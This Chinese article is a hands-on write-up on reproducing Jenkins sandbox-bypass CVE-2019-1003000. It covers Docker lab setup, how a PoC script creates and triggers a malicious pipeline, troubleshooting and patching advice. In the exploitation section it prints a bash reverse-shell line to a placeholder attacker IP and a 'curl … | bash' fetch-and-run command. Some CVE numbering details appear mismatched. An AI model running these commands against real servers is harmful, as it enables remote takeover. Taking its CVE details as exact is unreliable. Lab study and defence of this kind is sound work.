当前位置: 首页 > news >正文

Jenkins沙箱绕过漏洞CVE-2019-1003000复现与深度解析

1. 项目概述与背景解析

最近在整理一些历史高危漏洞的复现环境,又翻到了CVE-2019-1003000这个Jenkins的老牌“明星”漏洞。这个漏洞的特别之处在于,它不是一个简单的命令执行,而是通过Jenkins的插件沙箱绕过机制,实现了远程代码执行。对于安全研究、渗透测试人员或者想深入了解Jenkins安全机制的开发者来说,亲手搭建环境、运行POC、理解其背后的原理,是一个非常宝贵的学习过程。网上虽然有不少分析文章,但要么环境搭建不全,要么POC代码年久失修无法运行,要么就是原理讲得云里雾里。我花了些时间,找到了一个目前依然有效、且完全免费的POC项目,并成功复现。这篇文章,我就把这个项目的核心思路、环境搭建的完整步骤、POC的详细解析,以及我在复现过程中踩过的坑和解决技巧,系统地分享出来。无论你是想构建自己的漏洞靶场,还是单纯想搞懂这个漏洞的来龙去脉,这篇近万字的实操指南都能让你少走弯路,直达目标。

简单来说,CVE-2019-1003000漏洞影响的是Jenkins的“脚本安全”(Script Security)插件。这个插件本意是提供一个沙箱环境,让管理员可以安全地运行Groovy等脚本。但漏洞的核心在于,攻击者可以构造特定的脚本,绕过沙箱限制,最终在Jenkins服务器上以Jenkins进程的权限执行任意命令。这个漏洞的利用链涉及几个关键点:需要拥有“Overall/Read”权限的用户(在未授权或弱口令情况下可能获得)、利用Jenkins的“动态加载”特性、以及Groovy沙箱的绕过技巧。我们接下来要推荐的POC项目,就清晰地展示了这一完整的攻击路径。

2. 漏洞原理深度剖析:沙箱是如何被绕过的?

要真正理解这个POC,我们不能只停留在“运行一下脚本拿到shell”的层面。知其然更要知其所以然,这样才能举一反三。CVE-2019-1003000实际上是一组三个漏洞的统称,它们环环相扣:

  • SECURITY-1266 / CVE-2019-1003001: 在Pipeline: Declarative插件中,script步骤的参数可以控制沙箱白名单。
  • SECURITY-1266 / CVE-2019-1003002: 在Script Security插件中,处理@Grab注解时存在缺陷。
  • SECURITY-1266 / CVE-2019-1003003: 在Pipeline: Groovy插件中,加载二进制管道脚本时存在缺陷。

我们常说的RCE利用,通常是通过CVE-2019-1003002这个点触发的。它的核心原理是“元编程(Metaprogramming)”和“方法指针(Method Pointer)”的滥用。

2.1 Groovy沙箱的基本机制

Jenkins的Script Security插件实现了一个Groovy沙箱。它会审查脚本中执行的每一个方法调用,检查其是否在预定义的白名单内。白名单里通常是一些“安全”的方法,比如基本的数学运算、字符串操作等。像Runtime.getRuntime().exec(“whoami”)这种直接调用系统命令的方法,肯定会被拦截。

2.2 漏洞的突破口:@Grab注解与类加载器

@Grab是Groovy中用于声明依赖的注解,类似于Java的Maven坐标。当Groovy解析到@Grab时,它会尝试从仓库下载对应的库并加载到当前的类加载器中。关键在于,Script Security插件在审查使用@Grab注解的脚本时,存在逻辑缺陷。它没有正确地评估@Grab解析后可能执行的代码。

攻击者可以构造一个恶意的@Grab注解,指向一个精心构造的、包含恶意代码的库。当这个库被下载并加载时,恶意代码就会在沙箱审查范围之外执行。

2.3 关键技巧:利用MethodClosure绕过审查

但仅仅加载恶意库还不够,我们需要一个“触发器”来执行库里的恶意方法。这里就用到了Groovy的一个特性:MethodClosure。简单理解,MethodClosure是一个将方法包装成闭包(可执行代码块)的对象。

POC中常见的构造如下:

def method = “toString” def closure = this.&”$method” closure()

在沙箱看来,this.&是在获取一个方法引用,而方法名”$method”是一个字符串插值。沙箱在静态分析阶段可能无法确定最终要调用的是哪个具体方法。当这个MethodClosure被调用(closure())时,沙箱的动态检查可能会被绕过,从而执行到恶意库中定义的方法。

2.4 完整的利用链串联

  1. 权限获取:攻击者首先需要一个可以创建或修改Pipeline(流水线)任务的账户权限。这可能是通过弱口令、默认凭证或其它漏洞获得的。
  2. 注入恶意脚本:在Pipeline的script步骤中,插入包含恶意@Grab注解的Groovy脚本。
  3. 触发漏洞:Jenkins在解析和执行该Pipeline时,会处理@Grab注解,从攻击者控制的仓库下载恶意库。
  4. 绕过沙箱:脚本中利用MethodClosure等技巧,调用恶意库中能够执行系统命令的方法。
  5. 实现RCE:最终成功在Jenkins服务器上执行任意命令,比如反弹Shell、下载木马等。

注意:理解这个原理非常重要。这不仅能帮你修复漏洞(升级插件、禁用相关功能),更能让你在代码审计时,知道该关注@Grab、类加载、方法动态调用这些危险信号。

3. 环境搭建:手把手构建可复现的漏洞靶场

理论讲完了,我们进入实战环节。一个稳定、隔离的复现环境是安全研究的基础。我强烈推荐使用Docker来搭建,干净、快速、可重复,做完实验一键删除,不影响宿主机。

3.1 靶机环境:部署存在漏洞的Jenkins

我们首先需要拉取一个包含漏洞版本的Jenkins镜像。漏洞影响Jenkins核心版本 <= 2.138,以及相关插件(Script Security, Pipeline: Groovy, Pipeline: Declarative等)。我们可以直接使用社区维护的漏洞环境镜像。

打开你的终端,执行以下命令:

# 拉取一个专门用于CVE-2019-1003000漏洞复现的Docker镜像 docker pull vulhub/jenkins:2.138-slim # 运行Jenkins容器,将Web服务的8080端口映射到宿主机的8080端口 # 同时将Jenkins的数据卷挂载出来,方便后续查看日志和配置 docker run -d --name jenkins_cve_2019_1003000 -p 8080:8080 -v jenkins_data:/var/jenkins_home vulhub/jenkins:2.138-slim

运行后,访问http://你的宿主机IP:8080。你会看到Jenkins的初始化界面,要求输入管理员密码。这个密码可以在容器日志中找到:

docker logs jenkins_cve_2019_1003000

在日志中寻找类似”Jenkins initial setup is required. Your admin password is: xxxxxxxxx”的行。使用这个密码登录。

接下来安装推荐的插件,并创建一个管理员用户(为了实验方便,可以设置一个简单的密码,如admin/admin,但请记住这仅用于本地实验环境!)。至此,一个存在漏洞的Jenkins服务就启动好了。

3.2 攻击机环境:准备POC与依赖

POC项目通常是一个Python脚本,它需要与Jenkins的API进行交互,包括认证、创建任务、触发构建等。因此,我们需要一个Python3环境。

我推荐的POC项目是orange-cyberdefense/CVE-2019-1003000-Jenkins-Sandbox-Escape的一个分支或修改版,因为原项目的一些依赖可能已过时。你可以从一些开源漏洞库中找到维护状态更好的版本。

假设我们找到的POC脚本叫jenkins_rce.py。在运行前,需要安装必要的Python库:

pip3 install requests colorama
  • requests: 用于发送HTTP请求,与Jenkins API通信。
  • colorama: 用于在终端输出彩色文字,让结果更醒目。

将POC脚本jenkins_rce.py下载到你的攻击机(可以是宿主机,也可以是另一个Docker容器)上。

3.3 环境连通性检查

确保你的攻击机可以访问到Jenkins靶机的8080端口。在攻击机上执行:

curl -v http://<靶机IP>:8080

或者直接用浏览器访问,确认Jenkins页面正常加载。

实操心得:在Docker环境中,如果Jenkins容器运行在宿主机上,攻击机也是宿主机,那么靶机IP可以用localhost127.0.0.1。如果攻击机是局域网内另一台机器,则需要使用宿主机的真实IP,并确保防火墙放行了8080端口。我建议初学者全部在宿主机上操作,避免网络问题干扰。

4. POC项目详解与实战利用

现在,我们有了靶场,也有了武器。让我们深入这个POC脚本,看看它具体做了什么,并完成一次攻击演练。

4.1 POC脚本核心模块解析

一个典型的POC脚本会包含以下几个功能模块:

  1. 参数解析:接受用户输入的目标URL、用户名、密码、要执行的命令等。
  2. 认证与会话管理:使用提供的凭据登录Jenkins,获取有效的会话Cookie(如JSESSIONID)。
  3. 漏洞触发逻辑:这是核心。通常分为以下子步骤:
    • 创建恶意Pipeline任务:通过Jenkins API (/createItem?name=恶意任务名) 创建一个新的流水线任务。在任务的配置XML中,嵌入包含恶意@Grab注解和MethodClosure技巧的Groovy脚本。这个脚本的功能就是执行我们传入的系统命令。
    • 触发任务构建:调用API (/job/恶意任务名/build) 触发这个Pipeline的执行。
    • 捕获命令输出:Jenkins执行Pipeline后,命令的输出会留在构建日志中。POC脚本会通过API (/job/恶意任务名/lastBuild/consoleText) 去读取日志,提取出命令执行的结果。
  4. 清理现场:为了隐蔽,好的POC会在执行后删除创建的临时任务 (/job/恶意任务名/doDelete)。

4.2 实战操作步骤

假设我们的环境如下:

  • 靶机Jenkins:http://192.168.1.100:8080
  • 用户名/密码:admin / admin
  • POC脚本:./jenkins_rce.py

在攻击机终端中,执行:

python3 ./jenkins_rce.py -u http://192.168.1.100:8080 -U admin -P admin -c “whoami”

让我们拆解这个命令的执行过程:

  1. 登录:脚本会向/j_spring_security_check发送POST请求,携带用户名和密码,完成认证。
  2. 创建任务:脚本在内存中生成一个符合Jenkins API规范的XML配置文件。这个文件定义了一个Pipeline任务,其脚本内容类似于:
    node { stage(‘Exploit’) { script { // 利用 @Grab 加载恶意“库”,这里可能指向一个内置的恶意类或远程仓库 @Grab(‘org.anon:exploit:1.0’) import org.anon.Exploit // 利用方法指针技巧调用恶意方法,执行传入的命令 ‘whoami’ def cmd = ‘whoami’ def exploit = new Exploit() def method = ‘exec’ def closure = exploit.&”$method” closure(cmd) } } }

    注意:实际的POC脚本为了隐蔽和通用性,其Groovy payload会进行混淆和编码,不会这么直白。但核心结构就是利用@Grab和动态方法调用。 脚本将这个XML通过POST请求发送到/createItem?name=random_task_name,成功创建一个任务。

  3. 触发构建:脚本访问/job/random_task_name/build,触发该任务执行。Jenkins会解析并运行Pipeline中的Groovy脚本,触发漏洞,执行whoami命令。
  4. 获取结果:脚本等待几秒后,循环查询/job/random_task_name/lastBuild/consoleText,从构建日志中抓取输出。如果成功,你会在终端看到jenkins(因为Jenkins进程通常以jenkins用户运行)。
  5. 清理:脚本最后向/job/random_task_name/doDelete发送POST请求,删除这个临时任务。

如果一切顺利,你的终端会显示彩色的[+]成功信息,并打印出命令执行的结果。

4.3 进阶利用:反弹Shell

执行单条命令只是开始。更常见的利用方式是获取一个交互式的Shell。我们可以使用POC执行一个反弹Shell的命令。

首先,在攻击机上用nc监听一个端口:

nc -lvnp 4444

然后,使用POC执行一个反弹Shell的命令。注意,命令需要根据目标系统进行编码和构造。对于Linux系统,一个常见的bash反弹命令是:

bash -c ‘bash -i >& /dev/tcp/攻击机IP/4444 0>&1’

但由于命令中包含特殊字符(>&/dev/tcp),直接放入POC可能会被错误解析。通常POC脚本内部会做URL编码,或者我们需要使用编码后的命令。更可靠的方法是,让目标服务器下载一个脚本并执行。例如:

python3 ./jenkins_rce.py -u http://192.168.1.100:8080 -U admin -P admin -c “curl http://攻击机IP/shell.sh | bash”

其中shell.sh是你托管在攻击机上的包含反弹Shell命令的脚本。

重要警告:所有这些操作必须且仅限在你完全可控的实验室环境(如本地Docker)中进行。未经授权对任何线上系统进行测试都是非法且不道德的。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。如果你正在管理Jenkins服务器,请务必检查并修复。

5.1 官方修复方案

Jenkins官方早已发布安全更新修复了此漏洞。修复方案是升级相关插件到安全版本。

  • Script Security Plugin升级至1.50或更高版本。
  • Pipeline: Groovy Plugin升级至2.64或更高版本。
  • Pipeline: Declarative Plugin升级至1.3.9或更高版本。

最根本和推荐的做法是将整个Jenkins及所有插件升级到最新稳定版。可以通过Jenkins管理后台的“插件管理”和“系统管理”中的“升级”功能完成。

5.2 临时缓解措施

如果因故无法立即升级,可以考虑以下临时措施:

  1. 严格权限控制:遵循最小权限原则。确保只有绝对必要的用户才拥有“创建任务”、“配置任务”、“运行脚本”的权限。禁用匿名用户的任何权限。
  2. 网络隔离:将Jenkins服务器部署在内网,限制外网访问。如果必须对外,则通过VPN或跳板机访问。
  3. 审计脚本内容:对于Pipeline脚本,尤其是来自非受信任源的(如从SCM拉取的),进行严格的人工或自动化代码审计,警惕@Grab注解的使用。
  4. 使用“脚本审核”功能:Script Security插件提供了“脚本审核”功能,可以记录所有被沙箱拦截的脚本尝试,用于监控潜在攻击。

5.3 安全配置检查清单

定期检查你的Jenkins配置,可以极大降低风险:

检查项安全配置建议检查路径
认证方式启用“Jenkins专有用户数据库”或集成LDAP/SSO,禁用“允许用户注册”。系统管理->安全配置
授权策略使用“项目矩阵授权策略”或“Role-Based Strategy”插件,精细控制权限。系统管理->安全配置
代理配置如果不需要代理,请禁用。如果使用,请确保其来源可信。系统管理->节点管理
插件管理定期检查并移除不必要或已废弃的插件。只从官方更新中心安装插件。系统管理->插件管理
脚本安全在Script Security插件中,审查并收紧方法签名白名单。系统管理->In-process Script Approval

6. 复现过程中的常见问题与排查实录

即使按照步骤操作,你也可能会遇到一些问题。这里记录了我复现时遇到的几个典型问题及解决方法。

6.1 Jenkins启动失败或访问不了

  • 问题现象:Docker容器启动后很快退出,或者8080端口无法访问。
  • 可能原因1:端口冲突。宿主机8080端口已被其他程序(如另一个Jenkins、Tomcat)占用。
    • 解决:更改映射端口,例如-p 8081:8080,然后访问http://IP:8081
  • 可能原因2:卷挂载权限问题。如果宿主机是Linux,/var/jenkins_home目录的权限可能导致容器内Jenkins无法写入。
    • 解决:先不挂载卷运行一次,让容器初始化。或者,确保宿主机挂载目录对Docker进程用户(通常是root)可写。更简单的方法是直接去掉-v参数,数据保存在容器内(注意容器删除数据会丢失)。
  • 排查命令
    # 查看容器状态 docker ps -a | grep jenkins # 查看容器日志 docker logs jenkins_cve_2019_1003000 # 检查端口占用 netstat -tlnp | grep 8080

6.2 POC脚本执行失败,报认证错误

  • 问题现象:POC脚本返回[-] Authentication failed403 Forbidden
  • 可能原因1:凭据错误。用户名或密码输入错误。
    • 解决:仔细核对。如果忘记初始化时创建的用户,可以进入容器修改。首先进入容器:docker exec -it jenkins_cve_2019_1003000 /bin/bash,然后编辑/var/jenkins_home/config.xml文件,将<useSecurity>true</useSecurity>改为false,重启容器。这样就能免密登录,然后在管理后台重新配置安全设置。
  • 可能原因2:CSRF保护(Crumb)。较新版本的Jenkins(即使是有漏洞的版本)默认启用了CSRF保护,需要Crumb令牌才能执行创建、删除等写操作。
    • 解决:POC脚本需要支持处理Crumb。检查你使用的POC脚本是否包含获取Crumb的逻辑。通常流程是:先访问/crumbIssuer/api/json获取crumb,然后在后续的POST请求头中加入Jenkins-Crumb: <crumb_value>。如果脚本没有,你可能需要手动修改脚本添加此功能,或者临时在Jenkins的系统管理->安全配置中,取消勾选“防止跨站点请求伪造”。

6.3 命令执行成功但无回显

  • 问题现象:POC脚本显示执行成功,但读取日志时没有命令输出,或者输出是空的。
  • 可能原因1:命令本身无输出或执行失败。例如cd /tmp这种命令本身不产生标准输出。
    • 解决:使用有明确输出的命令测试,如whoami,pwd,id
  • 可能原因2:管道或重定向导致输出被吞没。在Shell中,某些错误输出(stderr)可能没有被捕获。
    • 解决:在命令中合并标准输出和错误输出。例如,使用whoami 2>&1
  • 可能原因3:Jenkins Pipeline的脚本上下文问题。命令可能在某个特定的工作空间或环境下执行,其输出没有被正确重定向到构建日志。
    • 解决:尝试在Groovy脚本中使用更直接的输出方式。例如,在POC的Groovy payload中,除了执行系统命令,还可以用println “执行结果:” + cmd.execute().text来确保结果被打印到Jenkins的日志流中。这需要你根据POC的具体实现进行调整。

6.4 无法删除临时任务

  • 问题现象:POC执行后,任务创建成功,命令也执行了,但最后清理阶段报错,任务没有被删除。
  • 可能原因:权限不足或CSRF问题。删除任务需要Delete权限,并且同样受CSRF保护。
    • 解决:确保使用的账户拥有任务的删除权限。同时,参考6.2中关于CSRF的解决方法。你也可以手动登录Jenkins网页后台删除该任务。

我个人的体会是,复现这种历史漏洞,最大的挑战往往不是漏洞本身,而是环境配置和工具适配。不同版本的Jenkins、不同的插件组合、不同的系统环境,都可能让一个“理论上可行”的POC脚本实际跑不起来。关键在于耐心排查:多看日志(Jenkins的系统日志、构建日志、Docker容器日志),善用抓包工具(如Burp Suite)拦截POC脚本发出的请求,对比正常手动操作发出的请求,差异点往往就是问题所在。这个过程本身,就是一次极佳的安全研究能力训练。

http://www.gsyq.cn/news/1561034.html

相关文章:

  • 2026宁波鄞州GEO获客优化推广评测:AI问答引流实力对比 - 起跑123
  • 3分钟快速上手:GitHub汉化插件让你的英文界面秒变中文
  • 为什么不建议长期用SaaS建站?真相很现实
  • SQL注入从入门到实战:原理、靶场搭建与自动化工具使用
  • 2026优选北仑外贸企业全域GEO优化机构实力排行 - 起跑123
  • 宁波线上获客服务商技术解析:全域AI与短视频协同逻辑 - 起跑123
  • 华硕笔记本终极控制指南:如何用G-Helper彻底摆脱Armoury Crate的臃肿束缚
  • 深度评测:2026年杭州西装定制品牌排行榜 - 生活测评君
  • 如何一键将B站视频转为文字稿:bili2text的完整免费指南
  • 2026 年连云港厨卫屋顶防水修缮三家对比测评 吉修匠 99.8 分稳居榜首 - 吉修匠
  • 2026年度教育论文辅导论文推荐选题TOP5榜单 - 艾德思Editsprings
  • 2026 年常州市厨卫屋顶防水修缮三家对比测评 吉修匠 99.8 分稳居榜首 - 吉修匠
  • 我总结了一个增长公式,帮助众多企业找到卡点 - GrowthUME
  • 2026 阜阳中考低分出路|人口大市升学新选择,362 分走合肥护理赛道,稳进三甲 - 我叫小周
  • 智能剧情跳过:让《绝区零》的重复操作成为过去式
  • 终极实时屏幕翻译指南:用Translumo轻松玩转外语游戏和视频
  • 2026 年齐齐哈尔市厨卫屋顶防水修缮三家对比测评 吉修匠 99.8 分稳居榜首 - 吉修匠
  • 2026 阜阳中考 362 分破局:普高线下走合肥 3+2 护理,全日制大专进三甲 - 我叫小周
  • 2026 年无锡市厨卫屋顶防水修缮三家对比测评 吉修匠 99.8 分稳居榜首 - 吉修匠
  • 花一周实测全网清水印工具,TOP4 榜单整理好了 - 时时资讯
  • 基于NXP平台构建TSN确定性网络:从gPTP同步到802.1Qbv调度的实战指南
  • 终端天线—3.Loop天线仿真:关键参数调优与性能影响深度解析
  • 2026昆山奢侈品闲置名包回收变现不踩雷 4家严选门店 - 生活测评君
  • 厌烦广告弹窗?2026 轻量化去水印小程序测评,安清新手闭眼选 - 时时资讯
  • 2026年6月伯爵官方售后网点核验报告:官方门店新址、电话全新开通 - 亨得利中国服务中心
  • 开户许可证丢了登报怎么线上办理?全流程指南 - 速递信息
  • 2026 南京主流考研辅导机构综合实力横向对比测评分析 - 小艾信息发布
  • 实地走访记录|2026年伯爵官方维修门店地址及电话最新统计 - 亨得利中国服务中心
  • 特种行业许可证丢失怎么登报?2026最新办理流程 - 速递信息
  • 窗口尺寸太固执?用WindowResizer轻松掌控任意程序窗口